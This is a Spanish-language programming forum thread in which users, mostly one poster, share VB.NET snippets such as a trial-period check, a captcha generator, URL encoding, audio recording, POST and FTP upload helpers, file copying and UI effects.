MessageBox.Show(String.Format("You have {0} day(s) remaining.", usageDatesLeft)) Return retValue End Function Private Function HashDate(ByVal dateToHash As Date) As String 'Get a hash object Dim hasher As System.Security.Cryptography.MD5 = System.Security.Cryptography.MD5.Create() 'Take date, make it a Long date and hash it Dim data As Byte() = hasher.ComputeHash(System.Text.Encoding.Default.GetBytes(dateToHash.ToLongDateString())) ' Create a new Stringbuilder to collect the bytes ' and create a string. Dim sBuilder As New System.Text.StringBuilder() ' Loop through each byte of the hashed data ' and format each one as a hexadecimal string. Dim idx As Integer For idx = 0 To data.Length - 1 sBuilder.Append(data(idx).ToString("x2")) Next idx Return sBuilder.ToString End Function
3. Usar la función por ejemplo en el Form_Load: Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Dim aCount As Integer = 0 Dim loopIt As Boolean = True 'My.Settings.Reset() 'This is here for design time support... otherwise you won't get your app to run agin Do While loopIt MessageBox.Show(String.Format("Checking Date: {0}.", Date.Now.AddDays(aCount))) loopIt = CheckDate(Date.Now.AddDays(aCount)) If Not loopIt Then MessageBox.Show("Trial Period Ended! Application closing!") Me.Close() Else MessageBox.Show("You can keep using the app") End If aCount += 1 Loop End Sub
· Trial period (Modificado un poco por mí) #Region " Trial Period Function " ' [ Trial Period Function ] ' ' Examples : ' Trial_Get(Trial_value.As_Boolean) ' MsgBox(String.Format("You have {0} day(s) remaining.", Trial_Get(Trial_value.As_LeftDays))) Public Enum Trial_value As_Boolean As_LeftDays As_CountDays End Enum ' Trial Period [Get] Public Function Trial_Get(ByVal Trial_value As Trial_value) 'My.Settings.Reset() 'If you want to reset the trial period Dim TrialCount As Integer = 0 TrialCount += 1 Return Trial_CheckDate(Date.Now.AddDays(TrialCount), Trial_value) End Function ' Trial Period [CheckDate] Public Function Trial_CheckDate(ByVal Trial_DateToCheck As Date, ByVal Trial_value As Trial_value) Dim Trial_retValue As Boolean = False ' Fail safe, default to false Dim Trial_usageDatesLeft As Int16 = 7 ' Set here the number of days of Trial period Dim Trial_hashedDate As String = Trial_HashDate(Trial_DateToCheck) If My.Settings.Trial_Period Is Nothing Then My.Settings.Trial_Period = New System.Collections.Specialized.StringCollection If My.Settings.Trial_Period.Contains(Trial_hashedDate) Then Trial_retValue = True Trial_usageDatesLeft = CShort(Trial_usageDatesLeft - My.Settings.Trial_Period.Count) If Trial_usageDatesLeft <= 0 AndAlso My.Settings.Trial_Period.IndexOf(Trial_hashedDate) <> My.Settings.Trial_Period.Count - 1 Then Trial_retValue = False Else If My.Settings.Trial_Period.Count < Trial_usageDatesLeft Then My.Settings.Trial_Period.Add(Trial_hashedDate) Trial_usageDatesLeft = CShort(Trial_usageDatesLeft - My.Settings.Trial_Period.Count) If Trial_usageDatesLeft > 0 Then Trial_retValue = True Else Trial_retValue = False End If Select Case Trial_value Case Trial_value.As_Boolean : Return Trial_retValue ' If False then Trial Period is expired Case Trial_value.As_LeftDays : Return Trial_usageDatesLeft ' Days left Case Trial_value.As_CountDays : Return My.Settings.Trial_Period.Count ' Count days Case Else : Return Nothing End Select End Function ' Trial Period [HashDate] Public Function Trial_HashDate(ByVal Trial_DateToHash As Date) As String Dim Trial_Hasher As System.Security.Cryptography.MD5 = System.Security.Cryptography.MD5.Create() Dim Trial_Data As Byte() = Trial_Hasher.ComputeHash(System.Text.Encoding.Default.GetBytes(Trial_DateToHash.ToLongDateString())) Dim Trial_StringBuilder As New System.Text.StringBuilder() Dim Trial_IDX As Integer For Trial_IDX = 0 To Trial_Data.Length - 1 : Trial_StringBuilder.Append(Trial_Data(Trial_IDX).ToString("x2")) : Next Trial_IDX Return Trial_StringBuilder.ToString End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Marzo 2013, 11:26 am
· String a hexadecimal: #Region " String To Hex Function " ' [ String To Hex Function ] ' ' Examples : ' Dim Hex_str As String = String_To_Hex("Elektro H@cker") Private Function String_To_Hex(ByVal Source_String As String) As String Dim Hex_StringBuilder As New System.Text.StringBuilder() For Each c As Char In Source_String : Hex_StringBuilder.Append(Asc(c).ToString("x2")) : Next c Return Hex_StringBuilder.ToString() End Function #End Region
· Hexadecimal a string: #Region " Hex To String Function " ' [ Hex To String Function ] ' ' Examples : ' Dim str As String = Hex_To_String("456c656b74726f204840636b6572")) Private Function Hex_To_String(ByVal Source_String As String) As String Dim Hex_StringBuilder As New System.Text.StringBuilder() For x As Integer = 0 To Source_String.Length - 1 Step 2 : Hex_StringBuilder.Append(Chr(Val("&H" & Source_String.Substring(x, 2)))) : Next x Return Hex_StringBuilder.ToString() End Function #End Region
· Effecto Matrix (Aplicación de consola) Module Module1 Sub Main() Console.Title = "Matrix Effect" Console.ForegroundColor = ConsoleColor.DarkGreen Console.WindowLeft = InlineAssignHelper(0, 0) Console.WindowHeight = InlineAssignHelper(Console.BufferHeight, Console.LargestWindowHeight) Console.WindowWidth = InlineAssignHelper(Console.BufferWidth, Console.LargestWindowWidth) Console.CursorVisible = False Dim width As Integer, height As Integer Dim y As Integer() Dim l As Integer() Initialize(width, height, y, l) Dim ms As Integer While True Dim t1 As DateTime = DateTime.Now MatrixStep(width, height, y, l) ms = 10 - CInt(Math.Truncate(CType(DateTime.Now - t1, TimeSpan).TotalMilliseconds)) If ms > 0 Then System.Threading.Thread.Sleep(ms) End If If Console.KeyAvailable Then If Console.ReadKey().Key = ConsoleKey.F5 Then Initialize(width, height, y, l) End If End If End While End Sub Dim thistime As Boolean = False Private Sub MatrixStep(ByVal width As Integer, ByVal height As Integer, ByVal y As Integer(), ByVal l As Integer()) Dim x As Integer thistime = Not thistime For x = 0 To width - 1 If x Mod 11 = 10 Then If Not thistime Then Continue For End If Console.ForegroundColor = ConsoleColor.White Else Console.ForegroundColor = ConsoleColor.DarkGreen Console.SetCursorPosition(x, inBoxY(y(x) - 2 - ((l(x) \ 40) * 2), height)) Console.Write(R) Console.ForegroundColor = ConsoleColor.Green End If Console.SetCursorPosition(x, y(x)) Console.Write(R) y(x) = inBoxY(y(x) + 1, height) Console.SetCursorPosition(x, inBoxY(y(x) - l(x), height)) Console.Write(" "c) Next End Sub Private Sub Initialize(ByRef width As Integer, ByRef height As Integer, ByRef y As Integer(), ByRef l As Integer()) Dim h1 As Integer Dim h2 As Integer = (InlineAssignHelper(h1, (InlineAssignHelper(height, Console.WindowHeight)) \ 2)) \ 2 width = Console.WindowWidth - 1 y = New Integer(width - 1) {} l = New Integer(width - 1) {} Dim x As Integer Console.Clear() For x = 0 To width - 1 y(x) = m_r.[Next](height) l(x) = m_r.[Next](h2 * (If((x Mod 11 <> 10), 2, 1)), h1 * (If((x Mod 11 <> 10), 2, 1))) Next End Sub Dim m_r As New Random() Private ReadOnly Property R() As Char Get Dim t As Integer = m_r.[Next](10) If t <= 2 Then Return ChrW(CInt(AscW("0"c)) + m_r.[Next](10)) ElseIf t <= 4 Then Return ChrW(CInt(AscW("a"c)) + m_r.[Next](27)) ElseIf t <= 6 Then Return ChrW(CInt(AscW("A"c) + m_r.[Next](27))) Else Return ChrW(m_r.[Next](32, 255)) End If End Get End Property Public Function inBoxY(ByVal n As Integer, ByVal height As Integer) As Integer n = n Mod height If n < 0 Then Return n + height Else Return n End If End Function Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T target = value Return value End Function End Module
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: arts en 18 Marzo 2013, 12:33 pm
Checkar si un número está entre un rango de números. PD: Si conocen un método mejor porfavor postéenlo #Region " Number Is In Range Function " ' [ Number Is In Range Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(NumberIsInRange(50, 0, 100)) ' If NumberIsInRange(5, 1, 10) then... Private Function NumberIsInRange(ByVal Number As Integer, ByVal MIN As Integer, ByVal MAX As Integer) As Boolean Select Case Number Case MIN To MAX : Return True Case Else : Return False End Select End Function #End Region
A mi se me ocurre otra manera pero no tengo ni idea de cual es más rápida. Function numero(ByVal MIN As Integer, ByVal MAX As Integer) As Boolean Dim N As Integer N = InputBox("Escribe un nº cualquiera", "hola", 0) If N >= MIN And N <= MAX Then MsgBox("EL NUMERO SE ENCUENTRA ENTRE " & MIN & " Y " & MAX) Else MsgBox("EL NUMERO NO SE ENCUENTRA ENTRE LOS VALORES") End If End Function
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 15:32 pm
@arts la verdad es que según tengo entendido entre las comprbocaciones de IF y Select Case no hay diferencia así que creo que deben ser igual.
Generador de captchas. (http://img705.imageshack.us/img705/7038/captura3iw.png) #Region " Captcha Generator Function " ' [ Captcha Generator Function ] ' ' Instructions: ' Copy the Captcha Class into a new Class "Captcha.vb" ' ' Examples : ' Dim myCaptcha As New Captcha ' PictureBox1.Image = myCaptcha.GenerateCaptcha(5) ' Generate a captcha of 5 letters ' MsgBox(myCaptcha.Check(TextBox1.Text, True)) ' Check if the given text is correct ' Captcha.vb #Region " Captcha Class " Imports System.Drawing Imports System.Drawing.Drawing2D Public Class Captcha Dim cap As String Public ReadOnly Property CaptchaString As String Get Return cap End Get End Property ' Generate Captcha Function GenerateCaptcha(ByVal NumberOfCharacters As Integer) As Bitmap Dim R As New Random Dim VerticalLineSpaceing As Integer = R.Next(5, 10) ' The space between each horizontal line Dim HorisontalLineSpaceing As Integer = R.Next(5, 10) ' The space between each Vertical line Dim CWidth As Integer = (NumberOfCharacters * 120) 'Generating the width Dim CHeight As Integer = 180 ' the height Dim CAPTCHA As New Bitmap(CWidth, CHeight) Dim allowedCharacters() As Char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM123456789".ToCharArray 'Guess Dim str(NumberOfCharacters - 1) As Char ' The String to turn into a captcha For i = 0 To NumberOfCharacters - 1 str(i) = allowedCharacters(R.Next(0, 61)) ' Generating random characters Next Using g As Graphics = Graphics.FromImage(CAPTCHA) ' the gradient brush for the background Dim gradient As New Drawing2D.LinearGradientBrush(New Point(0, CInt(CHeight / 2)), New Point(CWidth, CInt(CHeight / 2)), Drawing.Color.FromArgb(R.Next(&HFF7D7D7D, &HFFFFFFFF)), Drawing.Color.FromArgb(R.Next(&HFF7D7D7D, &HFFFFFFFF))) g.FillRectangle(gradient, New Rectangle(0, 0, CWidth, CHeight)) Dim plist As New List(Of Point) ' the list of points the curve goes through For i = 0 To str.Length - 1 Dim FHeight As Integer = R.Next(60, 100) 'Font height in EM Dim Font As New Font("Arial", FHeight) Dim Y As Integer = R.Next(0, (CHeight - FHeight) - 40) 'Generating the Y value of a char: will be between the top and (bottom - 40) to prevent half characters Dim X As Integer = CInt((((i * CWidth) - 10) / NumberOfCharacters)) 'Some formula that made sense At the time that I typed it to generate the X value Dim p As New Point(X, Y) g.DrawString(str(i).ToString, Font, Brushes.Black, p) plist.Add(New Point(X, R.Next(CInt((CHeight / 2) - 40), CInt((CHeight / 2) + 40)))) ' add the points to the array Next plist.Add(New Point(CWidth, CInt(CHeight / 2))) 'for some reason it doesn't go to the end so we manually add the last point Dim ppen As New Pen(Brushes.Black, R.Next(5, 10)) ' the pen used to draw the curve g.DrawCurve(ppen, plist.ToArray) Dim pen As New Pen(Brushes.SteelBlue, CSng(R.Next(1, 2))) 'the pen that will draw the horisontal and vertical lines. ' Drawing the vertical lines For i = 1 To CWidth Dim ptop As New Point(i * VerticalLineSpaceing, 0) Dim pBottom As New Point(i * VerticalLineSpaceing, CHeight) g.DrawLine(pen, ptop, pBottom) Next ' Drawing the horizontal lines For i = 1 To CHeight Dim ptop As New Point(0, i * HorisontalLineSpaceing) Dim pBottom As New Point(CWidth, i * HorisontalLineSpaceing) g.DrawLine(pen, ptop, pBottom) Next ' Drawing the Black noise particles Dim numnoise As Integer = CInt(CWidth * CHeight / 25) 'calculating the number of noise for the block. This will generate 1 Noise per 25X25 block of pixels if im correct For i = 1 To numnoise / 2 Dim X As Integer = R.Next(0, CWidth) Dim Y As Integer = R.Next(0, CHeight) Dim int As Integer = R.Next(1, 2) g.FillEllipse(Brushes.Black, New Rectangle(X, Y, R.Next(2, 5), R.Next(2, 5))) 'Size of the white noise Next ' Drawing the white noise particles For i = 1 To numnoise / 2 Dim X As Integer = R.Next(0, CWidth) Dim Y As Integer = R.Next(0, CHeight) Dim int As Integer = R.Next(1, 2) g.FillEllipse(Brushes.White, New Rectangle(X, Y, R.Next(2, 5), R.Next(2, 5))) 'Size of the white noise Next End Using cap = str Return CAPTCHA End Function ' Check captcha Function Check(ByVal captcha As String, Optional ByVal IgnoreCase As Boolean = False) As Boolean If IgnoreCase Then If captcha.ToLower = CaptchaString.ToLower Then Return True Else Return False End If Else If captcha = CaptchaString Then Return True Else Return False End If End If End Function End Class #End Region #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 17:34 pm
Minimizar la IDE del VisualStudio cuando la APP está en debug:
[code=vbnet]#Region " Minimize VS IDE when APP is in execution "
Declare Function ShowWindow Lib "User32.dll" (ByVal hwnd As IntPtr, ByVal nCmdShow As UInteger) As Boolean
' Minimize VS IDE when APP is in execution Private Sub Minimize_VS_IDE_when_APP_is_in_execution(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load #If DEBUG Then Dim Pr() As Process = Process.GetProcesses For Each P As Process In Pr If P.MainWindowTitle.Contains(My.Application.Info.AssemblyName) Then Dim hwnd As IntPtr = P.MainWindowHandle ShowWindow(hwnd, 6) Exit For End If Next #End If End Sub
#End Region
Redondear los bordes de cualquier control: #Region " Round Borders " ' [ Round Borders ] ' ' Examples : ' Round_Border(TextBox1) ' Round_Border(PictureBox1, 100) Private Sub Round_Borders(ByVal vbObject As Object, Optional ByVal RoundSize As Integer = 20) Try Dim p As New Drawing2D.GraphicsPath() p.StartFigure() p.AddArc(New Rectangle(0, 0, RoundSize, RoundSize), 180, 90) p.AddLine(RoundSize, 0, vbObject.Width - RoundSize, 0) p.AddArc(New Rectangle(vbObject.Width - RoundSize, 0, RoundSize, RoundSize), -90, 90) p.AddLine(vbObject.Width, RoundSize, vbObject.Width, vbObject.Height - RoundSize) p.AddArc(New Rectangle(vbObject.Width - RoundSize, vbObject.Height - RoundSize, RoundSize, RoundSize), 0, 90) p.AddLine(vbObject.Width - RoundSize, vbObject.Height, RoundSize, vbObject.Height) p.AddArc(New Rectangle(0, vbObject.Height - RoundSize, RoundSize, RoundSize), 90, 90) p.CloseFigure() vbObject.Region = New Region(p) Catch ex As Exception : Throw New Exception(ex.Message) End Try End Sub #End Region
Decodificar URL: #Region " URL Decode Function " ' [ URL Decode Function ] ' ' Examples : ' Dim URL As String = URL_Decode("http%3A%2F%2Fwww%2Esomesite%2Ecom%2Fpage%2Easp%3Fid%3D5%26test%3DHello+World") Public Function URL_Decode(ByVal Source As String) As String Dim x As Integer = 0 Dim CharVal As Byte = 0 Dim sb As New System.Text.StringBuilder() For x = 0 To (Source.Length - 1) Dim c As Char = Source(x) If (c = "+") Then sb.Append(" ") ElseIf c <> "%" Then sb.Append(c) Else CharVal = Int("&H" & Source(x + 1) & Source(x + 2)) sb.Append(Chr(CharVal)) x += 2 End If Next Return sb.ToString() End Function #End Region
Codificar URL: #Region " URL Encode Function " ' [ URL Encode Function ] ' ' Examples : ' Dim URL As String = URL_Encode("http://www.somesite.com/page.asp?id=5&test=Hello World") Public Function URL_Encode(ByVal Source As String) As String Dim chars() As Char = Source.ToCharArray() Dim sb As New System.Text.StringBuilder() For Each c As Char In chars If c Like "[A-Z-a-z-0-9]" Then sb.Append(c) ElseIf c = " " Then sb.Append("+") Else Dim sHex As String = Hex(Asc(c)) sHex = "%" & sHex.PadLeft(2, "0") sb.Append(sHex) End If Next Erase chars ' Clean Up Return sb.ToString() End Function #End Region
[/code]
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 18:52 pm
Grabar audio del PC: #Region " Rec Sound Function " ' [ Rec Sound Function ] ' ' Examples : ' Rec_Sound("C:\Audio.wav", Rec.Start_Record) ' Rec_Sound("C:\Audio.wav", Rec.Stop_Record) Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer Public Enum Rec Start_Record Stop_Record End Enum Private Function Rec_Sound(ByVal Path As String, ByVal Rec As Rec) As Boolean Select Case Rec Case Rec.Start_Record mciSendString("open new Type waveaudio Alias recsound", "", 0, 0) mciSendString("record recsound", "", 0, 0) Return True Case Rec.Stop_Record mciSendString("save recsound " & Path & "", "", 0, 0) mciSendString("close recsound", "", 0, 0) Return True Case Else : Return Nothing End Select End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 20:57 pm
Esta función es para escribir "hints" (o "cues") en los TextBox por ejemplo. #Region " Set Control Hint Function " ' [ Set Control Hint Function ] ' ' Examples : ' Set_Control_Hint(TextBox1, "Put text here...") <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ Private Shared Function SendMessage(ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As Integer, <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)> ByVal lParam As String) As Int32 End Function Private Function Set_Control_Hint(ByVal control As Control, ByVal text As String) As Boolean Try SendMessage(control.Handle, &H1501, 0, text) Return True Catch ex As Exception Throw New Exception(ex.Message) End Try End Function #End Region
Enviar POST por PHP: #Region " Send POST PHP Function " ' [ Send POST PHP Function ] ' ' Examples : ' Dim htmlcode As String = PHP("http://somesite.com/somephpfile.php", "POST", "name=Jim&age=27&pizza=suasage") Public Function Send_POST_PHP(ByVal URL As String, ByVal Method As String, ByVal Data As String) As String Try Dim request As System.Net.WebRequest = System.Net.WebRequest.Create(URL) request.Method = Method Dim postData = Data Dim byteArray As Byte() = System.Text.Encoding.UTF8.GetBytes(postData) request.ContentType = "application/x-www-form-urlencoded" request.ContentLength = byteArray.Length Dim dataStream As System.IO.Stream = request.GetRequestStream() dataStream.Write(byteArray, 0, byteArray.Length) dataStream.Close() Dim response As System.Net.WebResponse = request.GetResponse() dataStream = response.GetResponseStream() Dim reader As New System.IO.StreamReader(dataStream) Dim responseFromServer As String = reader.ReadToEnd() reader.Close() dataStream.Close() response.Close() Return (responseFromServer) Catch ex As Exception Dim PHP_Error As String = ErrorToString() If PHP_Error = "Invalid URI: The format of the URI could not be determined." Then MsgBox("ERROR! Must have HTTP:// before the URL.") Else Throw New Exception(ex.Message) End If Return ("ERROR") End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Marzo 2013, 13:07 pm
FTP Uploader: #Region " FTP Upload Function " ' [ FTP Upload Function ] ' ' Examples : ' FTP_Upload("C:\File.txt", "ftp://127.0.0.1/File.txt", "User") ' MsgBox(FTP_Upload("C:\File.txt", "ftp://127.0.0.1/File.txt", "User", "Pass")) Public Function FTP_Upload(ByVal FilePath As String, ByVal FTP_FilePath As String, _ Optional ByVal User As String = Nothing, _ Optional ByVal Pass As String = Nothing) As Boolean Dim FTP_request As System.Net.FtpWebRequest Dim FTP_stream As System.IO.Stream Dim FTP_bytes() As Byte Try FTP_request = DirectCast(System.Net.WebRequest.Create(FTP_FilePath), System.Net.FtpWebRequest) FTP_request.Credentials = New System.Net.NetworkCredential(User, Pass) FTP_request.Method = System.Net.WebRequestMethods.Ftp.UploadFile FTP_stream = FTP_request.GetRequestStream() FTP_bytes = System. IO. File. ReadAllBytes(FilePath ) With FTP_stream .Write(FTP_bytes, 0, FTP_bytes.Length) .Close() .Dispose() End With Return True Catch ex As Exception : Return False End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Marzo 2013, 15:50 pm
¡ PACK DE SNIPPETS ACTUALIZADO EN EL POST PRINCIPAL !
Ya puedes descargar la colección completa de 178 funciones útiles.
PD: Y no te olvides de ser generoso compartiendo tu conocimiento con los demás en este post...
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Marzo 2013, 23:45 pm
Copiar un archivo con posibilidad de cancelar la operación y reemplazar: #Region " Copy File In Chunks " ' [ Copy File In Chunks Function ] ' ' // By Elektro H@cker ' ' Examples : ' Copy_File_In_Chunks("C:\BigFile.mkv", "C:\BigFile_copy.mkv") ' Copy_File_In_Chunks("C:\BigFile.mkv", "C:\BigFile_copy.mkv", 9999, True, True) Dim Cancel_Copy As Boolean = False Public Function Copy_File_In_Chunks(ByVal InputFile As String, ByVal OutputFile As String, _ Optional ByVal BufferSize As Int16 = 1024, _ Optional ByVal Overwrite As Boolean = False, _ Optional ByVal DeleteFileOnCancel As Boolean = False) As Boolean Dim InputStream As New IO.FileStream(InputFile, IO.FileMode.Open, IO.FileAccess.Read) Dim OutputStream As IO.FileStream If Overwrite Then OutputStream = New IO.FileStream(OutputFile, IO.FileMode.Create, IO.FileAccess.Write) Else OutputStream = New IO.FileStream(OutputFile, IO.FileMode.CreateNew, IO.FileAccess.Write) End If Dim Buffer = New Byte(BufferSize) {} Dim BytesRead As Integer = 0 Do : If Cancel_Copy Then : GoTo Close_Copy Else Application.DoEvents() ' Remove it if you don't like... BytesRead = InputStream.Read(Buffer, 0, Buffer.Length) If BytesRead > 0 Then OutputStream.Write(Buffer, 0, BytesRead) End If Loop While (BytesRead > 0) Close_Copy: OutputStream.Flush() : InputStream.Close() : OutputStream.Close() If DeleteFileOnCancel Then Try : IO. File. Delete(OutputFile ) : Catch : End Try Return False Else : Return True End If End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Abril 2013, 09:00 am
Form Docking Junta un form secundario al borde del form principal (para que se muevan sincronizádamente...) Public Moving_From_Secondary_Form As Boolean = False ' Move Event Main Form Private Sub Form1_Move(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Move If Not Moving_From_Secondary_Form Then Form2.Location = New Point(Me.Right, Me.Top) End Sub ' Move Event Secondary Form Private Sub Form2_Move(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Move Form1.Moving_From_Secondary_Form = True Form1.Location = New Point(Me.Left - Form1.Width, Me.Top) Form1.Moving_From_Secondary_Form = False End Sub
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2013, 08:43 am
· Unir argumentos: #Region " Join Arguments Function " ' [ Join Arguments Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Join_Arguments()) ' MsgBox(Join_Arguments(";")) ' If Join_Arguments() Is Nothing Then MsgBox("No arguments") Private Function Join_Arguments(Optional Delimiter As String = " ") As String ' Check if exist at least one argument If Environment.GetCommandLineArgs().Length = 1 Then Return Nothing ' Store all arguments Dim Arguments As [String]() = Environment.GetCommandLineArgs() ' Delete Argument 0 (It's the name of the APP) For x = 1 To UBound(Arguments) : Arguments(x - 1) = Arguments(x) : Next x ' Redimensione the array ReDim Preserve Arguments(UBound(Arguments) - 1) ' Return the string Return [String].Join(Delimiter, Arguments) End Function #End Region
· Ignorar excepciones: #Region " Ignore Exceptions " ' [ Ignore Exceptions ] ' ' // By Elektro H@cker ' ' Examples : ' Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click ' IO.File.OpenText("X:\Failed_To_Open.txt") ' End Sub Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Try : AddHandler Application.ThreadException, AddressOf Application_Exception_Handler _ : Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException, False) _ : Catch : End Try End Sub Private Sub Application_Exception_Handler(ByVal sender As Object, ByVal e As System.Threading.ThreadExceptionEventArgs) ' Here you can manage the exceptions: ' Dim ex As Exception = CType(e.Exception, Exception) ' MsgBox(ex.Message) ' ...Or leave empty to ignore it. End Sub #End Region
· Devuelve el nombre de la aplicación actual: EDITO: Mejorado #Region " Get Current APP Name Function " ' [ Get Current APP Name Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Current_APP_Name()) ' MsgBox(Get_Current_APP_Name(False)) Private Function Get_Current_APP_Name(Optional ByVal WithFileExtension As Boolean = True) As String Dim EXE_Filename As String = System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName If WithFileExtension Then : Return EXE_Filename Else : Return EXE_Filename.Substring(0, EXE_Filename.Length - 4) End If End Function #End Region
· Devuelve la ruta parcial o la ruta absoluta de la aplicación actual: EDITO: SIMPLIFICADO #Region " Get Current APP Path Function " ' [ Get Current APP Path Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Current_APP_Path()) ' MsgBox(Get_Current_APP_Path(True)) Private Function Get_Current_APP_Path(Optional ByVal FullPath As Boolean = False) As String If FullPath Then : Return CurDir() & "\" & System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName Else : Return CurDir() End If End Function #End Region
· Sleep #Region " Sleep " ' [ Sleep ] ' ' // By Elektro H@cker ' ' Examples : ' Sleep(5) : MsgBox("Test") ' Sleep(5, Measure.Seconds) : MsgBox("Test") Public Enum Measure Milliseconds = 1 Seconds = 2 Minutes = 3 Hours = 4 End Enum Private Sub Sleep(ByVal Duration As Int64, Optional ByVal Measure As Measure = Measure.Seconds) Dim Starttime = DateTime.Now Select Case Measure Case Measure.Milliseconds : Do While (DateTime.Now - Starttime).TotalMilliseconds < Duration : Application.DoEvents() : Loop Case Measure.Seconds : Do While (DateTime.Now - Starttime).TotalSeconds < Duration : Application.DoEvents() : Loop Case Measure.Minutes : Do While (DateTime.Now - Starttime).TotalMinutes < Duration : Application.DoEvents() : Loop Case Measure.Hours : Do While (DateTime.Now - Starttime).TotalHours < Duration : Application.DoEvents() : Loop Case Else End Select End Sub #End Region
· Devuelve un color RGB aleatorio: #Region " Get Random RGB Color Function " ' [ Get Random RGB Color Function ] ' ' Examples : ' Label1.ForeColor = Get_Random_RGB_Color() Private Function Get_Random_RGB_Color() As Color Return Color.FromArgb(255, _ m_Rnd.Next(0, 255), _ m_Rnd.Next(0, 255), _ m_Rnd.Next(0, 255)) End Function #End Region
· Devuelve un color QB aleatorio: http://msdn.microsoft.com/en-us/library/d2dz8078%28v=vs.80%29.aspx #Region " Get Random QB Color Function " ' [ Get Random QB Color Function ] ' ' Examples : ' Label1.ForeColor = Get_Random_QB_Color() Private QB_Random As New Random Public Function Get_Random_QB_Color() As Color Return Color.FromArgb(QBColor(QB_Random.Next(0, 15)) + &HFF000000) End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2013, 09:09 am
· Mover un control Con opciones de Dirección, velocidad, intervalo, timeout, y hacer búcle sobre el form. iPKwIZDFnIo #Region " Move control " ' [ Move control ] ' ' // By Elektro H@cker ' ' Examples : ' MoveControl(Label1, Direction.Right, 100, 1000, 10, True) ' MoveControl(Label1, Direction.Left, 1, 9999999, 2, True) Dim ControlToMove As Control Dim ControlLoop As Boolean Dim StartMove As New Timer Dim EndMove As New Timer Public Enum Direction Up = 1 Down = 2 Left = 3 Right = 4 End Enum Public Sub MoveControl(ByVal Control As Control, _ ByVal Direction As Direction, _ ByVal Interval As Int64, _ ByVal TimeOut As Int64, _ ByVal Speed As Int16, _ ByVal LoopInsideForm As Boolean) ControlToMove = Control ControlLoop = LoopInsideForm StartMove.Tag = Direction 'TimeOut = TimeOut * 1000 ' If want to use seconds instead of Milliseconds. StartMove.Interval = Interval EndMove.Interval = TimeOut For x = 1 To Speed ' Add X amount of handles AddHandler StartMove.Tick, AddressOf StartMove_Tick Next AddHandler EndMove.Tick, AddressOf EndMove_Tick StartMove.Start() : EndMove.Start() End Sub ' Start/continue moving Private Sub StartMove_Tick(Sender As Object, e As EventArgs) If ControlLoop Then ' Loop inside form Select Case Sender.tag Case 1 ' Up If ControlToMove.Location.Y <= (0 - ControlToMove.Size.Height) Then ControlToMove.Location = New Point(ControlToMove.Location.X, Me.Size.Height) End If Case 2 ' Down If ControlToMove.Location.Y >= (Me.Size.Height) Then ControlToMove.Location = New Point(ControlToMove.Location.X, -0) End If Case 3 ' Left If ControlToMove.Location.X <= (0 - ControlToMove.Size.Width) Then ControlToMove.Location = New Point(Me.Size.Width, ControlToMove.Location.Y) End If Case 4 ' Right If ControlToMove.Location.X >= (Me.Size.Width) Then ControlToMove.Location = New Point(-ControlToMove.Width, ControlToMove.Location.Y) End If End Select End If Select Case Sender.Tag ' Direction Case 1 : ControlToMove.Location = New Point(ControlToMove.Location.X, ControlToMove.Location.Y - 1) ' Up Case 2 : ControlToMove.Location = New Point(ControlToMove.Location.X, ControlToMove.Location.Y + 1) ' Down Case 3 : ControlToMove.Location = New Point(ControlToMove.Location.X - 1, ControlToMove.Location.Y) ' Left Case 4 : ControlToMove.Location = New Point(ControlToMove.Location.X + 1, ControlToMove.Location.Y) ' Right End Select End Sub ' End Moving Private Sub EndMove_Tick(sender As Object, e As EventArgs) StartMove.Stop() EndMove.Stop() RemoveHandler StartMove.Tick, AddressOf StartMove_Tick RemoveHandler EndMove.Tick, AddressOf EndMove_Tick End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2013, 13:09 pm
